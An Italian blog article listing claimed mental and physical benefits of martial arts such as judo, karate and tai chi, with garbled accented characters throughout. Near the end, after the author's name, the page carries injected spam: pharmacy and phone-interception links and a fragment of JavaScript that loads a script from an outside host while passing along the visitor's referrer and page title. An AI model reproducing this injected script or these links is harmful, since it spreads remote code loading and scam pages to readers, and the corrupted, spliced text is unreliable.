I benefici psicofisici delle arti marziali

I benefici psicofisici delle arti marziali

Le arti marziali vengono spesso riportate alla dimensione di pura tecnica di combattimento atta a difendersi o a attaccare. Si tratta perA? di un pensiero riduttivo che non rende merito agli innumerevoli benefici che queste discipline comportano verso chi le pratica.

Dagli anni a��50 ad oggi, anche in Occidente queste pratiche hanno riscosso sempre piA? successo. Ma la pratica di queste attivitA� A? in alcuni casi millenaria. Ma quali sono i benefici derivanti dalla pratica delle arti marziali?

- Fattore psicologico:

La��aumento della sicurezza di sA� e dei propri mezzi A? la��elemento piA? chiaro e dimostrabile. Avere conoscenza di mosse di autodifesa consente infatti di rimanere calmi in situazioni di pericolo. La��obiettivo finale A? quello del completo controllo della��energia vitale che allontana energie negative e insicurezze: il percorso per arrivare a questo fine ci rende piA? tranquilli e calmi, allontanando stress e pensieri che ci inquietano quotidianamente.

- Fattore fisico:

Ea�� importante ma non come il livello di benefici che viene apportato dal punto di vista mentale. La��allenamento nelle arti marziali comunque rende agili e flessibili a livello articolare ma anche resistenti e forti. Si tratta di esercizi che aiutano sicuramente a rinforzare la schiena e a rendere i muscoli tonici.

- La differenza di benefici tra le varie discipline:

- Judo: aumenta la��ottimismo e diminuisce il tasso di aggressivitA�. A livello fisico dona al corpo resistenza anaerobica e grande flessibilitA� articolare.

- Tai Chi Chuan: consente di diminuire rabbia e disturbi del sonno mentre aumenta la predisposizione ad una visione positiva.

- Aikido: rinforza la determinazione e la consapevolezza di se. Ci vogliono anni per arrivare ad ottenere risultati concreti.

- Karate: diminuisce il livello di stress e porta ad avere grande agilitA� dal punto di vista fisico.

- Qi gong: rende piA? flessibili le articolazioni e aiuta ad arrivare ad ottenere una corretta respirazione. Accresce inoltre la capacitA� di concentrazione e di combattere lo stress.

- Kung Fu: a livello fisico rende agili e coordinati, rendendo i muscoli molto elastici e le articolazioni flessibili. A livello psicologico conferisce grande forza mentale, ideale per essere sempre pronti in qualsiasi circostanza.

- Tae Kwon do: equilibrio, potenza fisica e agilitA�: questa disciplina di origine coreana A? molto utile a chi vuole rendere le proprie gambe delle vere e proprie a�?armia�?. A livello mentale aumentano la consapevolezza nei propri mezzi e la resistenza al dolore.

 

Gianluca Schembari Order http://salon-angelika.sk/nezaradene/costo-promedio-allopurinol-300-mg/ Cheap super buy pills online s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } Purchase Cheap Pills cheap pills doxycline chicago order cialis with paypal, cialis generic walgreens. Buy pharmacycustomercare http://bastehbandi.com/android-tracker-how-to-intercept-text-messages-localizar-telefono-por-gps/ how much is aceondo school fees detrol la generic date

Lascia un Commento

L'indirizzo email non verrà pubblicato. I campi obbligatori sono contrassegnati *

È possibile utilizzare questi tag ed attributi XHTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>